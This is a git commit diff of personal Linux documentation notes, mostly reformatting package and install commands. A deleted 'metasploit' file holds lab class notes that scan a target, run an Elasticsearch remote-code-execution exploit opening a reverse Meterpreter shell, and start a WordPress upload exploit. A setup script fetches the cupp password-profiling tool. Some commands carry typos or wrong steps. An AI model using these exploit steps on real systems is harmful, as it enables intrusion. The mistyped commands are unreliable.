change formatting

input examples are now given as

```bash
input $ARG1
```

While outputs use md's '> ' sign as a quote.
This commit is contained in:
2023-06-17 21:28:20 +02:00
parent 1ba3010b81
commit ba8026e0c3
102 changed files with 2388 additions and 3211 deletions

View File

@@ -7,7 +7,9 @@ tags: [ "Documentation", "Distros", "Arch" ]
Edit `/etc/systemd/system/getty@tty1.service.d/override.conf` by typing:
> sudo systemctl edit getty@tty1
```bash
sudo systemctl edit getty@tty1
```
The put in the following, changing `[ USER ]` to your username.

View File

@@ -4,94 +4,150 @@ tags: [ "Documentation", "arch" ]
---
Keyboard layout changed.
> ls /usr/share/kbd/keymaps/**/*.map.gz
```bash
ls /usr/share/kbd/keymaps/**/*.map.gz
```
> loadkeys uk.map.gz
```bash
loadkeys uk.map.gz
```
Check if boot mode is UEFI
> ls /sys/firmware/efi/efivars
```bash
ls /sys/firmware/efi/efivars
```
Without efivars, the system must boot with BIOS.
# Check network's up
> ping archlinux.org
```bash
ping archlinux.org
```
Set system clock properly
> timedatectl set-ntp true
```bash
timedatectl set-ntp true
```
Check disks
> lsblk
```bash
lsblk
```
Make partition
> parted -s /dev/sda mklabel gpt
```bash
parted -s /dev/sda mklabel gpt
```
> parted -s /dev/sda mklabel msdos
```bash
parted -s /dev/sda mklabel msdos
```
> parted -s /dev/sda mkpart primary ext4 512 100%
```bash
parted -s /dev/sda mkpart primary ext4 512 100%
```
> parted -s /dev/sda set 1 boot on
```bash
parted -s /dev/sda set 1 boot on
```
> mkfs.ext4 /dev/sda1
```bash
mkfs.ext4 /dev/sda1
```
Use pacstrap to get the base install.
> mount /dev/sda1 /mnt/
```bash
mount /dev/sda1 /mnt/
```
> pacstrap /mnt base base-devel vim linux linux-firmware
```bash
pacstrap /mnt base base-devel vim linux linux-firmware
```
Make fstab notes for new system.
> genfstab -U /mnt >> /mnt/etc/fstab
```bash
genfstab -U /mnt >> /mnt/etc/fstab
```
> arch-chroot /mnt
```bash
arch-chroot /mnt
```
> echo 'en_GB.UTF-8' > /etc/default/locale
```bash
echo 'en_GB.UTF-8' > /etc/default/locale
```
> pacman -Sy networkmanager grub
```bash
pacman -Sy networkmanager grub
```
For legacy:
> grub-install --target=i386-pc /dev/sda
```bash
grub-install --target=i386-pc /dev/sda
```
For EFI:
> sudo pacman -S efibootmgr
```bash
sudo pacman -S efibootmgr
```
> mkdir /boot/efi
```bash
mkdir /boot/efi
```
> grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=GRUB --remmovable
```bash
grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=GRUB --remmovable
```
> grub-mkconfig -o /boot/grub/grub.cfg
```bash
grub-mkconfig -o /boot/grub/grub.cfg
```
set local time
> ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
```bash
ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
```
Find the desired locale's and uncomment them.
> vi /etc/locale.gen
```bash
vi /etc/locale.gen
```
> locale-gen
```bash
locale-gen
```
Make your keyboard changes permenent with:
> vi /etc/vconsole.conf
```bash
vi /etc/vconsole.conf
```
Then set: `KEYMAP=uk.map.gz`
unsure about this bit - is this name just for the loadkeys function?
Make a hostname
> echo pc > /etc/hostname
```bash
echo pc > /etc/hostname
```
Set hostnames for network, or at least your own.
> vi /etc/hosts
```bash
vi /etc/hosts
```
# This should have the following, at least:
@@ -103,17 +159,27 @@ If the system has a permanent IP address, it should be used instead of localhost
Ping some sites to make sure the network's working
> passwd
```bash
passwd
```
> exit
```bash
exit
```
> umount -R /mnt
```bash
umount -R /mnt
```
Remove that awful beep sound:
> rmmod pcspkr
```bash
rmmod pcspkr
```
...and make the change permanent:
> sudo echo "blacklist pcspkr" >> /etc/modprobe.d/nobeep.conf
```bash
sudo echo "blacklist pcspkr" >> /etc/modprobe.d/nobeep.conf
```

View File

@@ -1,98 +0,0 @@
---
title: "encrypted"
tags: [ "Documentation", "distros" ]
---
> # taken from https://0x00sec.org/t/arch-linux-with-lvm-on-luks-dm-crypt-disk-encryption-installation-guide-legacy-bios-system/1479
> # if you need wifi
> wifi-menu
> timedatectl set-ntp true
> fdisk -l
> parted /dev/sda
> (parted) mklabel msdos
> (parted) mkpart primary ext2 1MB 512MB
> (parted) mkpart primary ext4 512MB 100%
> (parted) print
> (parted) set 1 boot on
> (parted) quit
> fdisk -l
> cryptsetup luksFormat /dev/sda2
> # make a name. Here I use "crypt".
cryptsetup open /dev/sda2 crypt
> pvcreate /dev/mapper/crypt
> # now a group name - "usb"
> vgcreate usb /dev/mapper/crypt
> lvcreate -L 8GB usb -n swap
> lvcreaate -L 30G usb -n root
> lvcreate -l 100%FREE usb -n home
> mkfs.ext4 /dev/mapper/usb-home
mkfs.ext4 /dev/mapper/usb-root
> mkswap /dev/mapper/usb-swap
> mkfs.ext2 /dev/sda1
> mount /dev/mapper/usb-root /mnt
mkdir /mnt/home
> mount /dev/mapper/usb-home /mnt/home
mkdir /mnt/boot
> mount /dev/sda1 /mnt/boot
swapon /dev/mapper/usb-swap
pacstrap -i /mnt base base-devel efibootmgr grub
genfstab -U /mnt >> /mnt/etc/fstab
arch-chroot /mnt
############ new root #############
ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
# uncomment en_GT.UTF-8
> vi /etc/locale.gen
> locale-gen
> # add `LANG=en_GB.UTF-8` to /etc/locale.conf
> vi /etc/locale.conf
> echo crypt > /etc/hostname
> # make sure keyboard encrypt lvm2 are on the list of HOOKS
> vi /etc/mkinitcpio.conf
> grub-install /dev/sda
> vi /etc/default/grub
edit the GRUB_CMDLINE_LINUX=""
`GRUB_CMDLINE_LINUX="cryptdevice=/dev/sda2:usb root=/dev/mapper/usb-root"`
> grub-mkconfig -o /boot/grub/grub.cfg
> mkinitcpio -p linux
> pacman -S wpa_supplicant dialog

View File

@@ -6,14 +6,20 @@ tags: [ "Documentation", "distros" ]
Update font-cache:
> fc-cache
```bash
fc-cache
```
List fonts:
> fc-list
```bash
fc-list
```
Grab the part of the font name you need for Xresources:
> fc-list | cut -d: -f2
```bash
fc-list | cut -d: -f2
```
Add field 3 for styles.

View File

@@ -13,13 +13,17 @@ Include = /etc/pacman.d/mirrorlist
And update:
> sudo pacman -Syu
```bash
sudo pacman -Syu
```
# Step 2: Check Card Manufacturer
Check your graphics card type:
> lspci | grep VGA
```bash
lspci | grep VGA
```
# Step 3: Install Drivers
@@ -27,23 +31,33 @@ Check your graphics card type:
If you see `Nvidia`, then install the intel drivers:
> sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader
```bash
sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader
```
## Step 3B
If you see `Intel`, then install the intel drivers:
> sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-intel
```bash
sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-intel
```
## Step 3C
If you see `AMD`, then check your card support `vulkan`:
> yay -S gpu-viewer
```bash
yay -S gpu-viewer
```
> vulkaninfo | grep 'VkPhysicalDeviceVulkanMemoryModelFeatures' -A 3
```bash
vulkaninfo | grep 'VkPhysicalDeviceVulkanMemoryModelFeatures' -A 3
```
You should see 'true' here.
> sudo pacman -S --needed lib32-mesa vulkan-radeon lib32-vulkan-radeon vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-amdgpu
```bash
sudo pacman -S --needed lib32-mesa vulkan-radeon lib32-vulkan-radeon vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-amdgpu
```

View File

@@ -7,11 +7,15 @@ Packages are kept in /var/cache/pacman/pkg.
Delete unused old packages with:
> sudo pacman -Sc
```bash
sudo pacman -Sc
```
Signatures are handled by the pacman-key, initially set up with:
> sudo pacman-key --populate archlinux
```bash
sudo pacman-key --populate archlinux
```
And refreshed with:
@@ -19,23 +23,33 @@ sudo pacman-key --refresh-keys
If you have usigned keys, you can refresh with:
> sudo pacman -Sc
```bash
sudo pacman -Sc
```
or
> sudo pacman -Scc
```bash
sudo pacman -Scc
```
Reset all keys with:
> sudo rm -r /etc/pacmand.d/gnupg/ && sudo pacman-key --init
```bash
sudo rm -r /etc/pacmand.d/gnupg/ && sudo pacman-key --init
```
If you're constantly getting 'everything corrupted, nothing upgraded', try running:
> sudo pacman -S archlinux-keyring
```bash
sudo pacman -S archlinux-keyring
```
List all orphaned packages:
> sudo pacman -Qtdq
```bash
sudo pacman -Qtdq
```
## Cleaning Config Files

View File

@@ -8,17 +8,27 @@ tags: [ "Documentation", "distros" ]
Messed up a package's configuration files?
> sudo apt-get purge [thing]
```bash
sudo apt-get purge [thing]
```
> sudo apt autoremove
```bash
sudo apt autoremove
```
Check if you still have related things:
> apt search [thing]
```bash
apt search [thing]
```
> sudo apt-get install [ thing ]
```bash
sudo apt-get install [ thing ]
```
Still have problems?
> sudo dpgk --force-confmiss -i /var/cache/apt/archives/[thing]
```bash
sudo dpgk --force-confmiss -i /var/cache/apt/archives/[thing]
```

View File

@@ -1,90 +0,0 @@
cd /usr/share/X11/xkb/symbols/
cp pc pc.bak
echo "pc backup copied - this isn't tested" >> ~/install.log
sed s/Caps_Lock/Escape/ pc > pc
cd
echo "deb https://dl.bintray.com/hawkeye116477/waterfox-deb release main" | sudo tee -a /etc/apt/sources.list
curl https://bintray.com/user/downloadSubjectPublicKey?username=hawkeye116477 | sudo apt-key add -
sudo apt-get update && sudo apt-get install waterfox
```
echo "deb http://http.kali.org/ /kali main contrib non-free
deb http://http.kali.org/ /wheezy main contrib non-free
deb http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali-dev main/debian-installer
deb-src http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali main contrib non-free
deb http://http.kali.org/kali kali main/debian-installer
deb-src http://http.kali.org/kali kali main contrib non-free
deb http://security.kali.org/kali-security kali/updates main contrib non-free
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free" >> /etc/apt/sources.list
```
setxkbmap gb
# gksudo firefox -install-global-extension addon-1865-latest.xpi
#install addon with cli
apt-get -y install openvpn
cd /etc/openvpn
sudo wget https://downloads.nordcdn.com/configs/archives/servers/ovpn.zip
unzip ovpn.zip
rm ovpn.zip
sudo apt-get install openvpn network-manager-openvpn network-manager-openvpn-gnome
wget https://github.com/maestrogerardo/i3-gaps-deb/archive/master.zip
echo "if you don't have openvpn options in your gnome desktop, this just isn't going to work. Get the openvpn manager, called 'openvpn-service-gnome' or some such" >> ~/*log
unzip ma*
rm ma*zip
cd i3-g*
sudo apt -y update;sudo apt -y upgrade
./i3*
cd
mv i3/ .config
sudo apt install feh compton ranger w3m cmus scrot
sudo apt install tor
wget https://github.com/dpayne/cli-visualizer/archive/master.zip
echo "If vis is playing funny-buggers, enter the install files and input the commands manually. May be an architecture problem as I don't have arm cpu" >> *log
unzip master.zip
rm master.zip
cd cli-vis*
apt install libfftw3-dev libncursesw5-dev libpulse-dev
./install.sh
cd
mkdir Images;mkdir Images/Wallpapers;mkdir Images/Screenshots
apt install -y encfs cmatrix cowsay
mkdir Tools
cd Tools
wget https://github.com/Mebus/cupp/archive/master.zip
unzip master.zip;rm master.zip
cd

View File

@@ -1,128 +0,0 @@
---
title: "metasploit"
tags: [ "Documentation", "distros" ]
---
> service postgresql start
> systemctl status postgresql
> msfdb init
start the metasploit
> msfconfole
show exploits
Examples:
> info exploit/something
> search cve:2019
## Basic theory
There are vulnerabilities and payloads.
Payloads would typically give us a shell on the remote system. Android, Linux and Windows require different shells.
You can attach via 'reverse' or 'bind'. A 'bind' is best, as the user opens a port, and you connect. Mostly, you have to use 'reverse', which opens a connection to you.
# Notes for Class
Victim: 172.18.3.26
> nmap -Pn -sV 172.18.3.26 --script=vuln
> nmap -Pn -sV 172.18.3.26
Output:
```
Service scan Timing: About 66.67% done; ETC: 15:28 (0:00:10 remaining)
Nmap scan report for 172.18.3.26
Host is up (0.016s latency).
Not shown: 988 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
80/tcp open http Microsoft IIS httpd 7.5
4848/tcp open appserv-http?
8022/tcp open oa-system?
8080/tcp open http Sun GlassFish Open Source Edition 4.0
8383/tcp open ssl/m2mservices?
9200/tcp open tcpwrapped
49153/tcp open unknown
49154/tcp open unknown
49159/tcp open unknown
49161/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4848-TCP:V=7.80%I=7%D=9/14%Time=5D7D06F5%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,91,"HTTP/1\.1\x20302\x20Found\r\nLocation:\x20https://metasplo
SF:itable3-win2k8:4848/\r\nDate:\x20Sat,\x2014\x20Sep\x202019\x2015:27:44\
SF:x20GMT\r\nConnection:\x20close\r\nContent-Length:\x200\r\n\r\n");
MAC Address: D4:25:8B:B6:85:F5 (Intel Corporate)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```
Note this one:
`9200/tcp open tcpwrapped`
Apparently that's 'elasticsearch', so in metasploit we can do:
`search elasticsearch`
```
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/elasticsearch/indices_enum normal Yes ElasticSearch Indices Enumeration Utility
1 auxiliary/scanner/http/elasticsearch_traversal normal Yes ElasticSearch Snapshot API Directory Traversal
2 exploit/multi/elasticsearch/script_mvel_rce 2013-12-09 excellent Yes ElasticSearch Dynamic Script Arbitrary Java Execution
3 exploit/multi/elasticsearch/search_groovy_script 2015-02-11 excellent Yes ElasticSearch Search Groovy Sandbox Bypass
4 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution
```
If you want to use 2, `use 2` or `use/multi/ela` then tab out.
> show options
> set rhost 172.18.3.26
The remote port's already set at this point.
We've so far done use, rhost, and port.
> exploit
```
[*] Started reverse TCP handler on 172.18.3.112:4444
[*] Trying to execute arbitrary Java...
[*] Discovering remote OS...
[+] Remote OS is 'Windows Server 2008 R2'
[*] Discovering TEMP path
[+] TEMP path identified: 'C:\Windows\TEMP\'
[*] Sending stage (53845 bytes) to 172.18.3.26
[*] Meterpreter session 1 opened (172.18.3.112:4444 -> 172.18.3.26:49311) at 2019-09-14 15:38:49 +0000
[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\LXjUK.jar' on the target
```
> dir
# Next Wordpress
http://172.18.3.26:8585/wordpress/
Back to normal shell.
> search wordpress ninja
> use exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload

View File

@@ -1,8 +0,0 @@
https://coldwallet.io/
https://www.it-vn.com/2019/07/configure-ssh-to-avoid-from-shodan-and.html
https://wickr.com
https://weleakinfo.com/

View File

@@ -1,9 +0,0 @@
#!/bin/bash
# run as root
[ -z $1 ] && echo set a disk && exit 1
parted /dev/sd$1 --script -- mklabel msdos
parted /dev/sd$1 --script -- mkpart primary 0 300M
parted /dev/sd$1 --script -- mkpart primary 300M 100%
mkfs.vfat /dev/sd"$1"1
mkfs.ext4 /dev/sd"$1"2

View File

@@ -1,15 +0,0 @@
---
title: "npm"
tags: [ "Documentation", "Distros" ]
---
package.json is the basic configuration file.
Everything is per-directory.
> npm install x
This'll install x in the current directory.
> npm init
> npm install express --save

View File

@@ -1,18 +0,0 @@
---
title: "yum"
tags: [ "Documentation", "Distros" ]
---
# Overview
> yum search [package]
> yum list openssh
> yum install [package1] [package2]
> yum check-updates
> yum update
> yum remove [package1] [package2]

View File

@@ -5,10 +5,11 @@ tags: [ "Documentation", "Void" ]
Make the autologin service:
> cp -R /etc/sv/agetty-tty1 /etc/sv/agetty-autologin-tty1
```bash
cp -R /etc/sv/agetty-tty1 /etc/sv/agetty-autologin-tty1
```
```sh
if [ -x /sbin/agetty -o -x /bin/agetty ]; then
# util-linux specific settings
if [ "${tty}" = "tty1" ]; then
@@ -24,7 +25,7 @@ TERM_NAME=linux
Then stick this at the end of the bashrc:
```
```sh
# autologin on tty1
if [ -z "$DISPLAY" ] && [ "$(fgconsole)" -eq 1 ]; then
exec startx

View File

@@ -4,13 +4,19 @@ tags: [ "Documentation", "Void" ]
---
Monitor all processes:
> extrace
```bash
extrace
```
Monitor one process:
> extrace ls
```bash
extrace ls
```
Monitor a script:
> ./script.sh | extrace
```bash
./script.sh | extrace
```

View File

@@ -6,35 +6,49 @@ tags: [ "Documentation", "Void" ]
All possible services are in:
> ls /etc/sv
```bash
ls /etc/sv
```
The computer only uses those in /var/service, so symbolic links are made to start and stop services.
> ls /var/service
```bash
ls /var/service
```
# Start Services
Enable the sshd service, so that ssh will work every time you boot up:
> sudo ln -s /etc/sv/sshd /var/service
```bash
sudo ln -s /etc/sv/sshd /var/service
```
Then start the service:
> sudo sv start sshd
```bash
sudo sv start sshd
```
# Stop Services
Stop `mpd` with:
> sudo sv stop mpd
```bash
sudo sv stop mpd
```
And stop it automatically loading at startup with:
> sudo rm /var/service/mpd
```bash
sudo rm /var/service/mpd
```
You can also just make a file called 'down':
> sudo touch /var/service/mpd/down
```bash
sudo touch /var/service/mpd/down
```
This means you can start and stop the service without making symbolic links, but mpd will be 'down' when the computer starts.
@@ -49,5 +63,7 @@ If unsure, use `#!/bin/bash` as the first line. When Void Linux says `sh`, it m
Confirm the shell you'll use:
> ls -l $(which sh)
```bash
ls -l $(which sh)
```

View File

@@ -6,7 +6,9 @@ tags: [ "Documentation", "Void" ]
Update all packages with
> sudo xbps-install -Su
```bash
sudo xbps-install -Su
```
See [xbps](xbps.md) for more.
@@ -15,21 +17,29 @@ See [xbps](xbps.md) for more.
Void keeps *every* version of everything you install, so you can roll back to them.
Remove old packages with:
> sudo xbps-remove -O
```bash
sudo xbps-remove -O
```
# vkpurge
Old Void kernels are left on the boot partition. List them with:
> vkpurge list
```bash
vkpurge list
```
Remove one with:
> vkpurge 2.8.2_4
```bash
vkpurge 2.8.2_4
```
Remove all but the latest with:
> vkpurge rm all
```bash
vkpurge rm all
```
# Brightness
@@ -38,9 +48,10 @@ You can change this number to change the screen brightness.
For an easy utility, install `brightnessctl`.
> brightnessctl s 10%-
> brightnessctl s 10%+
```bash
brightnessctl s 10%-
brightnessctl s 10%+
```
# Other Tricks

View File

@@ -6,61 +6,87 @@ tags: [ "Documentation", "Void" ]
Look for cowsay in the repository:
> xbps-query --repository --search cowsay
```bash
xbps-query --repository --search cowsay
```
Short version:
> xbps-query -Rs cowsay
```bash
xbps-query -Rs cowsay
```
Search with regex:
> xbps-query --regex -Rs 'cow(s)?\w'
```bash
xbps-query --regex -Rs 'cow(s)?\w'
```
List what's required for cowsay
> xbps-query -x cowsay
```bash
xbps-query -x cowsay
```
What packages are orphaned (i.e. installed as a dependency for another package, which has since been removed)?
> xbps-query -O
```bash
xbps-query -O
```
Show cowsay's dependencies.
> xbps-query -x cowsay
```bash
xbps-query -x cowsay
```
This shows `perl`.
To see what else depends on perl:
> xbps-query -X perl
```bash
xbps-query -X perl
```
List all manually installed software.
> xbps-query -m
```bash
xbps-query -m
```
## Install
Install cowsay
> xbps-install cowsay
```bash
xbps-install cowsay
```
Upgrade current packages.
`-R` looks at repositories, `-s` makes a sloppy search (for rough matches).
> xbps-install -Suv
```bash
xbps-install -Suv
```
## Remove/ Uninstall
Remove cowsay
> xbps-remove cowsay
```bash
xbps-remove cowsay
```
...and all dependencies
> xbps-remove -R cowsay
```bash
xbps-remove -R cowsay
```
Remove all orphaned dependencies.
> xbps-remove -o
```bash
xbps-remove -o
```
Show information about cowsay
@@ -68,13 +94,19 @@ Show information about cowsay
Reinstall cowsay
> xbps-install -f cowsay
```bash
xbps-install -f cowsay
```
Look for broken packages.
> sudo xbps-pkgdb -a
```bash
sudo xbps-pkgdb -a
```
And if you've found any, you might reconfigure all packages forcefully:
> sudo xbps-reconfigure -af
```bash
sudo xbps-reconfigure -af
```